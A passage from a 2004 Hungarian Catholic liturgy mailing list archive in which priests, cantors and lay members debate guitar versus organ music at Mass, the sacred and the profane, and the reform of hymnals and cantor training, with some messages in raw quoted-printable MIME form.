iskolázottság tekintetében. És én is hadd kérjem, hogy objektívan tekintsük a gitáros énekkarokat, a körülöttük forgó "hatalmas problémát". Lehet, hogy a probléma kis odafigyeléssel orvosolható. Nem kell feltétlenül szeretni ezt vagy azt a műfajt, de el kell fogadni. Lehetnek kifogások, észrevételek mindkét oldalon, de legyen megoldási javaslat is mellé. Ne csak azt vegyük észre, hogy ez vagy az nem jó, hanem kínáljuk fel a megoldást is, főleg ha a birtokában vagyunk a tudásnak. A szubjektív vélemény, hogy ez semmiképpen nem elfogadható, és üldözendő, és kiírtandó műfaj, ugyanolyan valótlan állítás részemről, mint az, hogy a mai fiatalokat CSAK a gitáros zene szólítja meg. Ezt sem állította senki, kár vele vitázni. Nem akarunk egyebet, mint a hagyományokat tisztelve, a szabályokat, előírásokat megtartva részt venni a liturgiában. És ehhez kértem, és kaptam segítséget Önöktől. Köszönöm mégegyszer, Isten áldja mindannyiukat Decsi Bálint From gabor@kaibas.hu Wed Mar 10 09:13:03 2004 From: gabor@kaibas.hu (=?iso-8859-1?B?S2FpYuFzIEfhYm9yIE3hcms=?=) Date: Wed, 10 Mar 2004 10:13:03 +0100 Subject: [Liturgia] (no subject) Message-ID: <011c01c4067f$e4b50ba0$4787e0c1@kaigabi> Tisztelt Mindenki, Azt hiszem számos érvet hallhattunk a nagyböjti szólózás és a visszafogottság ellen és mellett. Számos érvet hallhattunk továbbá a gitáros és a nem gitáros mise ellen és mellett. Stázi muvészno felvetette annak szükségességét, hogy a jelenlegi Szent vagy Uram orgonáskönyv reformra szorulni, szóba került az is, hogy kántoraink alulképzettek, valamint, ami az egész "vita" kiindulópontja volt, hogy nincs egységes felfogás a liturgikus szabályozások tekintetében. Mindez szép és jó, amit ezen a levelezolistán megbeszélünk, tényleg elhangzanak a különbözo felfogásokat kielégíto érvelések, de a kérdésem ezek után csak annyi, hogy ha elméletben mindez megfogalmazható és meg is fogalmazódik bennünk, akkor MIÉRT NEM VAGYUNK KÉPESEK TENNI IS VALAMIT A MEGVALÓSÍTÁS ÉRDEKÉBEN IS ??? Magam részérol az "orgonás-részt" képviselem, és annyiban igényt látok a változásra, hogy ezek a kérdések rendezodjenek. És ez már csak azért is fontos, mivel valaki írta a listán, hogy a liturgia attól szép, hogy Kökörcsinfalván is ugyanazt fogom "kapni", mint a nagy Budapesten. A nagy elodök tudtak és AKARTAK a kaotikus egyházzenei életben RENDET teremteni. Mi miért nem vagyuk képesek e változásra megérett egyházzenénkben újat alkotni???? Régen számos kiváló könyv született, amely az egyházi zene egysége mellett foglalt állást. Manapság is elkéne egy, és bízom benne, hogy az Éneklo Egyház továbbfejlesztésével (!) tudunk egy pl. Cantus Cantorum-hoz hasonló útmutatást (kántorkönyvet!) készíteni. A SzVU kíséretek (megjegyzem némelyikhez nem lenne szabad nyúlni!) helyett pedig olyat készíteni, hogy "a ma már nem jó lüktetésben megharmonizált éneket tudjuk mondjuk negyedelés helyett félkotta értéku harmóniákkal kísérni". Papjaink felfogása a zsoltározással, vagy az ordinárium helyetti népének énekléssel, vagy a Gloria szavalásával bizony már kevésbé megváltoztatható. Sajnos még a fovárosban is vannak olyan "konokul az eszetlenséghez" ragaszkodó plébánosok, akik az eloírások helyett a saját fejük után mennek, vagy elnézést a kifejezésért, de hülye felfogást vallanak a kántor szerepérol a szentmisén. A kántorképzést is többnyire egységesíteni kéne, de amíg az alapok nincsenek meg (egységes felfogás, egységes könyvek) addig csak kézzel-lábbal való hadakozás mindaz, amit teszünk. Azt hiszem, nem én vagyok a legmegfelelobb ember az ilyen reformok elindításához, vagy az ezen szempontokban való döntéshez. Én csak egy véleményt fogalmaztam meg, a saját véleményemet, amellyel sürgetni szeretném és cselekvésre késztetni az erre adekvát személyeket. Hisz mit ér a keresztség, ha valaki egész életében a templom felé sem néz?! Ugyanígy mit érnek az üres szavak, ha azokat tettek nem követik?! Úgy érzem, ez a tétlenség, ami jelenleg tapasztalható a magyar egyházzenében, a századelo szánalmas megcsúfolása. Az elvárhatót sem vagyunk képesek megtenni, innovációra pedig végképp képtelenek vagyunk. Remélem, soraim eljutottak, vagy eljutnak az illetékesekhez, akik ha mást nem, legalább elgondolkodtatónak fogják tartani azokat. Üdvözlettel, Kaibás Gábor Márk From arturdr@drotposta.hu Wed Mar 10 09:16:17 2004 From: arturdr@drotposta.hu (=?iso-8859-2?q?Dr=2E=20Farag=F3=20Art=FAr=20?=) Date: Wed, 10 Mar 2004 10:16:17 +0100 Subject: [Liturgia] =?iso-8859-2?q?Re=3A=20L=E9tezhet=20=2D=20e=20alternat=EDv?= =?iso-8859-2?q?a=3F?= Message-ID: Kedves Testvéreim! Nógrád megyében élő és dolgozgató pap vagyok, lassan a 40. életévem felé közeledve. Gyerekkoromban "sajnos" gitáros énekeken nőttem föl. Marian (nem két n-nel írod?) sorainak nagyon örültem, mert ugyanígy gondolkodom. Arra emlékszem gyerekkoromból, hogy nagyon sok gitáros éneket énekeltem. Pedig még egészen kicsi koromban megtanultam a népénekeket is, mégis valami miatt ezek nem indítottak arra, hogy úton-útfélen dúdolgassam őket. Pedig, ismétlem, szeretek énekelni. Emlékszem arra is, amikor elmentem felvételizni, hogy kispap lehessek, véletlenül elszóltam magamat és közöltem azóta elhunyt, nagyon nagy tudású és tiszteletreméltó püspökünkkel, hogy szeretnék majd megtanulni gitározni, és utóbb kiderült, hogy ez rossz pont volt nála. Ennek ellenére megtanultam egy kicsit gitározni, és sajnos, abba a körbe tartozom, akik az egyik levélben kárhoztatott módon jóval 100-nál kevesebb akkordot ismerek. (Sajnos nincs időm gyakorolni, mostanában egyre kevesebbet gitározom.) De múltkor majdnem elszántam magam, hogy az egyik akkordos könyvből kimásolom a több, mint 1200 (azaz egyezer-kettőszáz) gitárakkordot, és elküldöm az illetőnek, aki egy kicsit leszólta a gitározást. Ezzel persze nem azt akarom jelezni, hogy nem értékelem a jól orgonálni tudók zenei képzettségét és magát az orgonamuzsikát, sőt! Sok-sok bárgyú népénekünk mellett (amelyeket egyébként -no nemcsak a bárgyúakat-, gyakoroltatjuk a gyerekekkel a hittanórákon is), nagyon örülök annak, hogy -ahogyan Marian is felhívta rá a figyelmet-, gitáros énekeink többsége szentírási szövegű, ami nem mondható el a népénekek többségéről. És sok-sok példát hozhatnánk, de nem tartom egyáltalán bajnak, ha a "gyerekeim" (nem számítva a szintén gitáros énekektől fertőzött idősebbeket) szívesebben éneklik azt, hogy "Ne félj, mert megváltottalak...", mint azt hogy "Boruljunk le, és rettegve..." Nagyon-nagyon fontosnak tartom ezt, hogy énekelhető, fülbemászó formában mindennapos használatban van így a fiatalok és idősebbek számára a Szentírásnak sok sora és gondolata. Egyik legszebb emlékem a nyári szentkúti gyalogos zarándoklatunk esti szentségimádása. Az Oltáriszentség színe előtt elmélkedési szövegként az un. "Öröm útja" szentírási részleteit és szövegeit vettük. Közben pedig, sajnos gitáros énekeket énekeltünk, és mondanom sem kell, zengett a mátraverebélyi templom. Kb. 100-an lehettünk és az átlagéletkor kb. 45-50 év volt. Tanulság számomra nagyon sok van a meg-megújuló gitáros-orgonás párbeszédben. Ezek közül kettőt: 1. sajnos általában a gitáros zene pártolói jobban megértik a népénekeseket, mint fordítva. (Ifjúsági táborainkban szoktunk gregoriánt is énekelni, meg népéneket, nem tudom a gregorián táborban mennyi gitáros éneket énekelnek? :-) ) 2. a gitáros éneknek nemcsak az lehet az eredménye, hogy bevigyük a kintit, a világit a liturgiába, hanem, hogy a fiatalabbakhoz közelálló formák segítségével vigyük a bentit, a szentírásit, stb.. ki közéjük, mindennapos használatra. (Bár bízom abban, hogy sokan sétálnak az utcán gregoriánt vagy ortodox dallamokat dudorászva. :-) ) Egy valamit problémaként élek azonban meg, és próbálok ellene küzdeni, teljesen eredménytelenül. A gitáros énekeknek is van általában ismert vagy megkereshető szerzőjük, eredeti dallamuk, stb... Nagyon sok helyen találkozok azzal, hogy eltorzult, megváltozott formában bukkan fel egy-egy sárga könyves, vagy Sillye Jenő, stb.. dal. Nagyon jó lenne, ha akik gitáros énekekkel foglalkoznak, mindig megkeresnék az autentikus forrást. Például a sárga könyv énekeit a kazettáikról tanulnák meg és nem szájhagyományból. Most csak ennyit szerettem volna hozzátenni szép eszmecserétekhez. Jut eszembe, tegnap "orgona-böjt" volt nálunk. No nem a napokban megtárgyalt értelemben, csak nem volt itthon a kántorunk, így magunk zengedeztünk hangszer nélkül. :-) Szép nagyböjtöt, sok katarzist okozó, gondolatokat ébresztő klasszikust és dúdolható szentírási szövegeket kívánok mindenkinek! dr. Faragó Artúr Varsány From kovacser@tippnet.co.yu Wed Mar 10 09:38:17 2004 From: kovacser@tippnet.co.yu (kovacser) Date: Wed, 10 Mar 2004 10:38:17 +0100 Subject: [Liturgia] =?iso-8859-2?B?c3pha3LhbGlzIOlzIHByb2bhbg==?= Message-ID: <000b01c40683$6ce75980$9734c8d4@racunar> This is a multi-part message in MIME format. ------=_NextPart_000_0006_01C4068B.CCCE27E0 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Kedves Marian =E9s Mindny=E1jan! =D6r=FCl=F6k, hogy ilyen alaposan reflekt=E1lt levelemre, = k=F6sz=F6n=F6m a j=F3sz=E1nd=E9kot =E9s nyitotts=E1got. Ism=E9t egy = alapk=E9rd=E9sn=E9l kezden=E9m: a szent =E9s a prof=E1n = k=FCl=F6nbs=E9g=E9n=E9l, ami csak a paradicsomi =E1rtatlans=E1g =E9s = b=FBntelens=E9g =E1llapotban lenne =E1thidalhat=F3, ahol minden szent = lenne. Az =E9nekekn=E9l nem a git=E1r a f=F5 gond (az is lehetne = szakr=E1lis), hanem az =FAn. k=F6nny=FBzenei st=EDlus. Mert ez a = st=EDlus tartalmaz olyan jegyeket, melyek ellentmondanak a liturgia, a = kultusz, a szakralit=E1s legbens=F5bb term=E9szet=E9nek. =C9s itt nem = ism=E9tlem mindazt, amit a modern k=F6nny=FBzenei st=EDlusok = eredet=E9r=F5l, gy=F6ker=E9r=F5l stb. le=EDrtam, de kit=FBn=F5en elemzi = Dr. K=F5r=F6ssy Solt=E9sz Katalin az eml=EDtett k=F6nyv=E9ben. Teh=E1t = szerintem a k=F6nny=FBzenei st=EDlus teljes eg=E9sz=E9ben alkalmatlan = liturgikus haszn=E1latra, ak=E1r git=E1rral k=EDs=E9rik, ak=E1r = orgon=E1val. A git=E1ros =E9nekek sz=F6veg=E9nek pozit=EDvuma, hogy = val=F3ban sok zsolt=E1rfeldolgoz=E1s van k=F6zt=FCk. De ha kez=FCnkbe = vessz=FCk az =C9nekl=F5 Egyh=E1z =E9nekesk=F6nyvet, akkor ott egy az = egybe id=E9zett zsolt=E1rverseket =E9s m=E1s szent=EDr=E1si sz=F6vegeket = tal=E1lunk m=E9gpedig k=F6nny=FB, mindenki =E1ltal megtanulhat=F3 = gregori=E1n dallamokon. Az =E9n kott=E1t olvasni nem tud=F3 egyszer=FB = falusi n=E9niem is =E9neklik, ak=E1r a n=E9pdalokat. Minden nap = mis=E9j=E9nek ugyanis van egy el=F5=EDrt kezd=F5=E9neke =E9s = =E1ldoz=E1si =E9neke, amit a Misek=F6nyv tartalmaz (ezt szokt=E1k = n=E9p=E9nekkel helyettes=EDteni), =E9s az =C9nekl=F5 Egyh=E1z pont = ezeket hozza. Komoly hi=E1nya a git=E1ros =E9nekeknek, hogy ezekr=F5l = nem tudnak, s=F5t az =F3kereszt=E9ny himnuszok teljes kincs=E9t is = kihagyj=E1k. A himnuszok eredetileg legink=E1bb a zsolozsma tartoz=E9kai = voltak =E9s olyan nagy teol=F3gusok, egyh=E1ztan=EDt=F3k =EDrt=E1k, mint = pl. a IV. sz=E1zadi Mil=E1n=F3i Szt. Ambrus, Nagy Szt. Gergely p=E1pa = stb. Ezek teh=E1t sokkal =F5sibbek a n=E9p=E9nekekn=E9l, j=F3val = m=E9lyebbek, zeneileg is m=E1s st=EDlus=FAak de sajnos sz=E9lesebb = k=F6r=F6kben ismeretlenek. A klasszikus zeneszerz=F5k zenekaros mis=E9i = is illeszkednek a szakr=E1lis st=EDlushoz =E9s egy=E1ltal=E1n nem baj, = hogy nem tudja =F5ket mindenki =E9nekelni. A liturgi=E1ban csendes = szeml=E9l=F5d=E9ssel is lehet akt=EDvan r=E9sztvenni, mivel az nagyobb = aktivit=E1st ig=E9nyel mint pl. a felsz=EDnes =E9nekl=E9s, tapsol=E1s, = t=E1ncol=E1s. A mise ugyanis nemcsak k=F6z=F6ss=E9gi =F6sszej=F6vetel, = nemcsak lakoma, hanem els=F5sorban =E1ldozat, a kereszt=E1ldozat = megjelen=EDt=E9se (ez is egy elhallgatott hitigazs=E1g). A Golgot=E1n = pedig senki sem t=E1ncolt, de a Felt=E1madt J=E9zussal val=F3 = tal=E1lkoz=E1sn=E1l sem tapsoltak az apostolok, hanem megd=F6bbent = csod=E1lat, im=E1d=E1s, szeretet =E9s valami m=E9ly, igazi, de nem = lakodalomszer=FB =F6r=F6m t=F6lt=F6tte be =F5ket. Teh=E1t a szakr=E1lis = visszafogotts=E1g nem azonos a b=FAskomors=E1ggal, van benne m=E9ly, = igazi =F6r=F6m is. Az =FCnnep fogalm=E1n=E1l nagyon sz=E9t kell v=E1lasztani a prof=E1n = =FCnnepet (lakodalom, b=E1l, sz=FClet=E9snap), ahol hangos perg=F5 zene = van, t=E1ncolnak, esznek =E9s isznak. De a szakr=E1lis =FCnnep az = teljesen m=E1s, nem szomor=FA vagy komor, de visszafogottabb =E9s a = l=E9leknek eg=E9szen m=E1s r=E9tegeit =E9rinti. Ide tartoznak az olyan = fogalmak, mint =E1hitat, im=E1d=E1s, megillet=F5d=F6tt csend, = =FCnnep=E9lyess=E9g. Ez=E9rt van az, hogy a templomi k=F6rnyezet = teljesen m=E1s, mint az otthoni, nem mert az otthoni istentelen, hanem = csak mert nem szakr=E1lis t=E9r. Ott is jelen lehet Isten, de eg=E9szen = m=E1sk=E9pp, mint a szakr=E1lis k=F6rnyezetben. Az utols=F3 vacsor=E1n = sem lakm=E1roztak =E9s nem is t=E1ncoltak. A zsid=F3 templomban sem. Azt = a lakodalomra (vagy D=E1vid =FCnnepi felvonul=E1s=E1ra) hagyt=E1k. Ne = olvassunk bele a Bibli=E1ba olyat, ami ott nincs, csak mi szeretn=E9nk = ha ottlenne.=20 "=DAgy t=FBnik, mintha a n=E9p=E9nekek mellett lenn=E9nek olyan = kincseink, amik alkalmasak lenn=E9nek a n=E9p=E9nekek = "hi=E1nyoss=E1gait" kieg=E9sz=EDteni - de az egyszer=FB h=EDv=F5 nemigen = tal=E1lkozik ezekkel... nekem ezt nemigen tan=EDtott=E1k." Kedves Marian! H=E1t ez a baj. Mert val=F3ban vannak rejtett = kincseink, de m=E9g mennyi. Egy eg=E9sz =FAj vil=E1g. De ennek a = vil=E1gnak kulcs=E1t, nyelvezet=E9t, st=EDlus=E1t nem tan=EDtj=E1k. = Vajon mi=E9rt nem? Sz=E1momra is rejt=E9ly. Pedig az emberek = v=E9gtelen=FCl h=E1l=E1sak szoktak lenni =E9rte ha megismerik. Nevel=E9s = k=E9rd=E9se. Mit k=EDn=E1lunk fel az embereknek a b=F6lcs=F5t=F5l = kezdve. Azt fogj=E1k k=E9s=F5bb is szeretni. Ehhez azonban a = hitoktat=E1st, igehirdet=E9st, pasztor=E1ci=F3t =E9s igen - a = papnevel=E9st is alapjaiban =E1t kellene form=E1lni. Tisztelettel =E9s szeretettel Kov=E1cs Ervin, a falusi pap. ------=_NextPart_000_0006_01C4068B.CCCE27E0 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Kedves Marian =E9s = Mindny=E1jan!
    =D6r=FCl=F6k, hogy = ilyen alaposan=20 reflekt=E1lt levelemre, k=F6sz=F6n=F6m a j=F3sz=E1nd=E9kot =E9s = nyitotts=E1got. Ism=E9t egy=20 alapk=E9rd=E9sn=E9l kezden=E9m: a szent =E9s a prof=E1n = k=FCl=F6nbs=E9g=E9n=E9l, ami csak a=20 paradicsomi =E1rtatlans=E1g =E9s b=FBntelens=E9g =E1llapotban lenne = =E1thidalhat=F3, ahol minden=20 szent lenne. Az =E9nekekn=E9l nem a git=E1r a f=F5 gond (az is lehetne = szakr=E1lis), hanem=20 az =FAn. k=F6nny=FBzenei st=EDlus. Mert ez a st=EDlus tartalmaz olyan = jegyeket, melyek=20 ellentmondanak a liturgia, a kultusz, a szakralit=E1s legbens=F5bb = term=E9szet=E9nek. =C9s=20 itt nem ism=E9tlem mindazt, amit a modern k=F6nny=FBzenei st=EDlusok = eredet=E9r=F5l,=20 gy=F6ker=E9r=F5l stb. le=EDrtam, de kit=FBn=F5en elemzi Dr. K=F5r=F6ssy = Solt=E9sz Katalin az=20 eml=EDtett k=F6nyv=E9ben. Teh=E1t szerintem a k=F6nny=FBzenei st=EDlus = teljes eg=E9sz=E9ben=20 alkalmatlan liturgikus haszn=E1latra, ak=E1r git=E1rral k=EDs=E9rik, = ak=E1r orgon=E1val. A=20 git=E1ros =E9nekek sz=F6veg=E9nek pozit=EDvuma, hogy val=F3ban sok = zsolt=E1rfeldolgoz=E1s van=20 k=F6zt=FCk. De ha kez=FCnkbe vessz=FCk az =C9nekl=F5 Egyh=E1z = =E9nekesk=F6nyvet, akkor ott egy az=20 egybe id=E9zett zsolt=E1rverseket =E9s m=E1s szent=EDr=E1si sz=F6vegeket = tal=E1lunk m=E9gpedig=20 k=F6nny=FB, mindenki =E1ltal megtanulhat=F3 gregori=E1n dallamokon. Az = =E9n kott=E1t olvasni=20 nem tud=F3 egyszer=FB falusi n=E9niem is =E9neklik, ak=E1r a = n=E9pdalokat. Minden nap=20 mis=E9j=E9nek ugyanis van egy el=F5=EDrt kezd=F5=E9neke =E9s = =E1ldoz=E1si =E9neke, amit a Misek=F6nyv=20 tartalmaz (ezt szokt=E1k n=E9p=E9nekkel helyettes=EDteni), =E9s az = =C9nekl=F5=20 Egyh=E1z pont ezeket hozza. Komoly hi=E1nya a git=E1ros = =E9nekeknek, hogy ezekr=F5l=20 nem tudnak, s=F5t az =F3kereszt=E9ny himnuszok teljes kincs=E9t is = kihagyj=E1k. A=20 himnuszok eredetileg legink=E1bb a zsolozsma tartoz=E9kai voltak =E9s = olyan nagy=20 teol=F3gusok, egyh=E1ztan=EDt=F3k =EDrt=E1k, mint pl. a IV. sz=E1zadi = Mil=E1n=F3i Szt. Ambrus,=20 Nagy Szt. Gergely p=E1pa stb. Ezek teh=E1t sokkal =F5sibbek a = n=E9p=E9nekekn=E9l, j=F3val=20 m=E9lyebbek, zeneileg is m=E1s st=EDlus=FAak de sajnos sz=E9lesebb = k=F6r=F6kben=20 ismeretlenek. A klasszikus zeneszerz=F5k zenekaros mis=E9i is = illeszkednek a=20 szakr=E1lis st=EDlushoz =E9s egy=E1ltal=E1n nem baj, hogy nem tudja = =F5ket mindenki=20 =E9nekelni. A liturgi=E1ban csendes szeml=E9l=F5d=E9ssel is lehet = akt=EDvan r=E9sztvenni,=20 mivel az nagyobb aktivit=E1st ig=E9nyel mint pl. a felsz=EDnes = =E9nekl=E9s, tapsol=E1s,=20 t=E1ncol=E1s. A mise ugyanis nemcsak k=F6z=F6ss=E9gi =F6sszej=F6vetel, = nemcsak lakoma, hanem=20 els=F5sorban =E1ldozat, a kereszt=E1ldozat megjelen=EDt=E9se (ez is egy = elhallgatott=20 hitigazs=E1g). A Golgot=E1n pedig senki sem t=E1ncolt, de a = Felt=E1madt J=E9zussal=20 val=F3 tal=E1lkoz=E1sn=E1l sem tapsoltak az apostolok, hanem = megd=F6bbent csod=E1lat,=20 im=E1d=E1s, szeretet =E9s valami m=E9ly, igazi, de nem lakodalomszer=FB = =F6r=F6m t=F6lt=F6tte be=20 =F5ket. Teh=E1t a szakr=E1lis visszafogotts=E1g nem azonos a = b=FAskomors=E1ggal, van benne=20 m=E9ly, igazi =F6r=F6m is.
    Az =FCnnep = fogalm=E1n=E1l nagyon sz=E9t=20 kell v=E1lasztani a prof=E1n =FCnnepet (lakodalom, b=E1l, = sz=FClet=E9snap), ahol hangos=20 perg=F5 zene van, t=E1ncolnak, esznek =E9s isznak. De a szakr=E1lis = =FCnnep az teljesen=20 m=E1s, nem szomor=FA vagy komor, de visszafogottabb =E9s a l=E9leknek = eg=E9szen m=E1s=20 r=E9tegeit =E9rinti. Ide tartoznak az olyan fogalmak, mint =E1hitat, = im=E1d=E1s,=20 megillet=F5d=F6tt csend, =FCnnep=E9lyess=E9g. Ez=E9rt van az, hogy a = templomi k=F6rnyezet=20 teljesen m=E1s, mint az otthoni, nem mert az otthoni istentelen, hanem = csak mert=20 nem szakr=E1lis t=E9r. Ott is jelen lehet Isten, de eg=E9szen = m=E1sk=E9pp, mint a=20 szakr=E1lis k=F6rnyezetben. Az utols=F3 vacsor=E1n sem lakm=E1roztak = =E9s nem is t=E1ncoltak.=20 A zsid=F3 templomban sem. Azt a lakodalomra (vagy D=E1vid =FCnnepi = felvonul=E1s=E1ra)=20 hagyt=E1k. Ne olvassunk bele a Bibli=E1ba olyat, ami ott nincs, csak mi = szeretn=E9nk=20 ha ottlenne.
    "=DAgy t=FBnik, = mintha a=20 n=E9p=E9nekek mellett lenn=E9nek olyan kincseink, amik alkalmasak = lenn=E9nek a n=E9p=E9nekek=20 "hi=E1nyoss=E1gait" kieg=E9sz=EDteni - de az egyszer=FB h=EDv=F5 nemigen = tal=E1lkozik ezekkel...=20 nekem ezt nemigen tan=EDtott=E1k."
    Kedves Marian! H=E1t = ez a baj.=20 Mert val=F3ban vannak rejtett kincseink, de m=E9g mennyi. Egy eg=E9sz = =FAj vil=E1g. De=20 ennek a vil=E1gnak kulcs=E1t, nyelvezet=E9t, st=EDlus=E1t nem = tan=EDtj=E1k. Vajon mi=E9rt nem?=20 Sz=E1momra is rejt=E9ly. Pedig az emberek v=E9gtelen=FCl h=E1l=E1sak = szoktak lenni =E9rte ha=20 megismerik. Nevel=E9s k=E9rd=E9se. Mit k=EDn=E1lunk fel az embereknek a = b=F6lcs=F5t=F5l kezdve.=20 Azt fogj=E1k k=E9s=F5bb is szeretni. Ehhez azonban a hitoktat=E1st, = igehirdet=E9st,=20 pasztor=E1ci=F3t =E9s igen - a papnevel=E9st is alapjaiban =E1t kellene=20 form=E1lni.
    Tisztelettel =E9s=20 szeretettel
Kov=E1cs Ervin, a falusi=20 pap.
------=_NextPart_000_0006_01C4068B.CCCE27E0-- From pestifor@axelero.hu Wed Mar 10 10:56:03 2004 From: pestifor@axelero.hu (pestifor) Date: Wed, 10 Mar 2004 11:56:03 +0100 Subject: [Liturgia] =?iso-8859-2?Q?RE:_szakr=E1lis_=E9s_prof=E1n?= In-Reply-To: <000b01c40683$6ce75980$9734c8d4@racunar> Message-ID: <000301c4068e$48111be0$5533fea9@iroda> Kedves Ervin atya, Köszönöm válaszát. "Ismét egy alapkérdésnél kezdeném: a szent és a profán különbségénél, ami csak a paradicsomi ártatlanság és bűntelenség állapotban lenne áthidalható, ahol minden szent lenne." Ha jól értettem az előbb idézett mondatát, akkor muszáj megjegyeznem, amit a témáról eddig gondoltam: úgy képzeltem, hogy a szent és a profán közötti szakadék a profán felől nem átjárható, de a szent felől igen. Azaz valahogy úgy tudnám "leírni", hogy azt hittem, hogy valami nem azért szent, mert Istenhez akarunk vele közeledni, hanem azért, mert Isten megszentelte azt valamilyen módon, hogy számunkra is járható úttá legyen a szakadék fölött való áthaladáshoz. Nem azért "szentesülünk meg", mert Istenhez "pipiskedünk" (bármilyen jó szándékkal), hanem azért, mert Isten lehajol hozzánk, értünk. Lefordítva a mostani kérdésre: ha a zene tömegeket Istenhez segít, akkor az számomra egy olyan jel, amin érdemes elgondolkodni, hogy hátha célja van vele Istennek közöttünk. Közel sem teológiai tudás oldaláról írtam ezt a pár sort, úgyhogy továbbra is szívesen veszem, ha valaki kiigazítja, pontosítja, vagy árnyalja a tárgyi tudásom hiányosságaiból való pontatlanságot. "Az énekeknél nem a gitár a fő gond (az is lehetne szakrális), hanem az ún. könnyűzenei stílus. (...) A klasszikus zeneszerzők zenekaros miséi is illeszkednek a szakrális stílushoz és egyáltalán nem baj, hogy nem tudja őket mindenki énekelni." Számomra ez azért érdekes, mert igazából a szentmisén mindig részt venni törekszem, többek között benne lenni a szent eseményekben...de így - ha nem tudok együtt énekelni - akkor kiszorítva érzem magam. Mintha a forma (zenei stílusjegyek) a funkciót (részesévé tesz-e a liturgiának vagy sem) megelőzné. Nem tudom, hogy ez helyes-e? "A liturgiában csendes szemlélődéssel is lehet aktívan résztvenni, mivel az nagyobb aktivitást igényel mint pl. a felszínes éneklés, tapsolás, táncolás." Itt érzek egy kis előítéletet, és Decsi Bálint által is megemlített csúsztatást. Nem értem, hogy a csendes szemlélődésnek nincsen negatív előjele (pedig lehet azt is felszínesen "csinálni") viszont az éneklés, táncolás, tapsolás megkapta a "felszínes" szóban a negatív előjelet (kétségtelen, hogy lehet úgy is "csinálni"). Azt gondolom, hogy testtartásunk, viselkedésünk jel (hiszen nem véletlenül változtatjuk testhelyzetünket a mise során sem). Egy csöndesen, becsukott szemmel templomban ülő ember is gondolhat arra, hogy nemsokára megy a bankba fölvenni a pénzt, hogy kifizesse a rezsit; és egy éneklő, tapsoló, esetleg táncoló (mi itthon minden advent szombat estéjén "családi liturgia" keretében énekelünk és táncolunk a gyerekekkel) ember is járhat elképzelhetetlen lelki magasságban. Minden formának annyiban van jogosultsága, amennyiben nem hagyja el a tartalmát. (Mondandómat lehet, hogy jobban is meg lehetne fogalmazni, de egyelőre nekem csak így sikerült). "A mise ugyanis nemcsak közösségi összejövetel, nemcsak lakoma, hanem elsősorban áldozat, a keresztáldozat megjelenítése (ez is egy elhallgatott hitigazság)." Előző levelemben nem kívántam elhallgatni :-) Inkább úgy éreztem, hogy emellett a központi igazság mellett eltűnnek más, szintén fontos aspektusok. Erre szerettem volna fölhívni a figyelmet. "A Golgotán pedig senki sem táncolt, de a Feltámadt Jézussal való találkozásnál sem tapsoltak az apostolok, hanem megdöbbent csodálat, imádás, szeretet és valami mély, igazi, de nem lakodalomszerű öröm töltötte be őket. Tehát a szakrális visszafogottság nem azonos a búskomorsággal, van benne mély, igazi öröm is." Teljesen egyetértek. És itt megint csak egy hangsúlyeltolódást szeretnék észrevételezni: a valóságban sajnos sokszor túlságosan is mélyre rejtjük az örömöt. Pedig örömhírünk van! (Nyilván nem örömködésre gondolok; de amit nem engedünk megmutatni, az nem biztos, hogy látszani fog.) (...) "Ezért van az, hogy a templomi környezet teljesen más, mint az otthoni, nem mert az otthoni istentelen, hanem csak mert nem szakrális tér. Ott is jelen lehet Isten, de egészen másképp, mint a szakrális környezetben." Igen, ezzel is egyetértek. Viszont megint csak azt észrevételezem, hogy annak sem szabadna bekövetkezni, hogy a templom és az ún. profán élettér túlságosan szétváljon. Mint ahogy a lateráni bazilika fölszentelésének évfordulójakor a misén arról olvastunk, hogy a templom az élet forrása, de ha a belőle áradó patak nem hagyja el a templomot, akkor a körülötte lévő sivatag nem éled újjá. Valami olyasmire vágyom, hogy a gyerekeink a templomban ne csak a szentet vegyék észre, hanem annak föléjük hajló személyes jóságát is; és itthon nemcsak a világ dolgai jussanak el hozzájuk, hanem a szakrális térre is otthonként gondoljanak (azaz ne legyen számukra annyira idegen a templom és mindaz, ami benne történik). "Az utolsó vacsorán sem lakmároztak és nem is táncoltak. A zsidó templomban sem. Azt a lakodalomra (vagy Dávid ünnepi felvonulására) hagyták. Ne olvassunk bele a Bibliába olyat, ami ott nincs, csak mi szeretnénk ha ottlenne." A zsidó templomról nem írtam, de az utolsó vacsorát egy előadáson hallottam. Tehát ezt nem csak úgy kitaláltam, viszont nem tudok hivatkozást mondani, úgyhogy ha nem jelentkezik másvalaki azzal, hogy máshogy tudja, mint Ön, akkor elfogadom az állítását. Köszönöm levelét, és hogy komolyan vette laikusi megnyilvánulásaimat, + Marian egy városi anyuka :-)     Tisztelettel és szeretettel Kovács Ervin, a falusi pap. From sali@theol.u-szeged.hu Wed Mar 10 11:31:12 2004 From: sali@theol.u-szeged.hu (=?iso-8859-2?Q?Salamon_L=E1szl=F3?=) Date: Wed, 10 Mar 2004 12:31:12 +0100 Subject: [Liturgia] =?iso-8859-2?Q?megfontol=E1sok?= Message-ID: <000801c40693$315b9060$7d03040a@bsaftpzr8rolu7> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C4069B.9310B620 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Kedves =E9s Tisztelt Mindenki! Olvasva a hozz=E1sz=F3l=E1sokat, reakci=F3kat, szeretn=E9k =E9n is = n=E9h=E1ny dolgot megfogalmazni: papk=E9nt, egyh=E1zzen=E9szk=E9nt, = papnevel=F5k=E9nt (r=EDtus =E9s =E9nek tan=E1rk=E9nt): 1. Egy k=E9rd=E9s: =FAgy tudom, hogy a MALEZI az ilyen jelleg=FB = k=E9rd=E9sek koordin=E1l=E1sak=E9nt, szakavatott, hivatalos = v=E9lem=E9ny-ad=F3k=E9nt j=F6tt l=E9tre. Mi=E9rt nem halljuk, olvassuk = =F5ket? Biztosan sok dolguk van, de mikor sz=F3ljanak hozz=E1, ha nem = most?=20 2. Valaki k=E9rdezte, hogy mi=E9rt nem cseleksz=FCnk v=E9gre, illetve = hozott egy hasonlatot a nagy egyh=E1zzen=E9szekr=F5l, hogy bezzeg azok = kiadtak egy Cantus Cantorumot stb. A v=E1lasz ezekben a = hozz=E1sz=F3l=E1sokban is keresend=F5: addig, am=EDg ilyen fontos, = liturgikus k=E9rd=E9sekr=F5l =FAgy gondolkodunk, =E9s cseleksz=FCnk, = hogy "szerintem" ez =EDgy j=F3, ez =FAgy j=F3, addig a sok szab=E1lyt = (h=E1l Istennek valaki volt sz=EDves 